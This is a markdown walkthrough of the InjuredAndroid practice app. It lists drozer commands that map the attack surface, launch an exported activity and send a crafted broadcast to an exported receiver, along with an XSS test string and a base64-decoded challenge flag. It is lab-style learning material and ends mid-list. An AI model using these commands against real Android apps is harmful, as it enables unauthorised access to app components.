injured-android.md

Injured Android

• Test fo Leaked Secrets with apkX

sallam@Mac-mini-Mosaad tools % ./apkx ../apps/InjuredAndroid.apk 

• Test for Janus Bug with j88nx

sallam@Mac-mini-Mosaad tools % ./j88nx -apk ../apps/InjuredAndroid.apk 

• Use Drozer for Information Gathering and and Attack Surface Mapping

# Enable drozer agent in the emulator
# Starting Session
adb forward tcp:31415 tcp:31415
# start the drozer application in the emulator
drozer console connect
drozer console connect --server <ip>

# List Modes
ls
ls activity

# Retrieving package information 
run app.package.list -f <app name>
run app.package.info -a <package name>

# Identifying the attack surface
run app.package.attacksurface <package name>

• XSS

<script>alert('Android');</script>

• Challenge 1: Login Activity

• Challenge 2: exported activity

dz> run app.activity.start --component b3nac.injuredandroid b3nac.injuredandroid.b25lActivity
Attempting to run shell module

• Challenge 3: Resopurce

• Challenge 4: Decoder

Take this and decode it

echo 'NF9vdmVyZG9uZV9vbWVsZXRz' | base64 -d

• Challenge 5: Exploit Exported Broadcast Receiver

# in drozer
run app.broadcast.info -a b3nac.injuredandroid -i
run app.broadcast.send --component b3nac.injuredandroid b3nac.injandroid.TestBroadcastReceiver --extra string url hacked

• Challenge 6: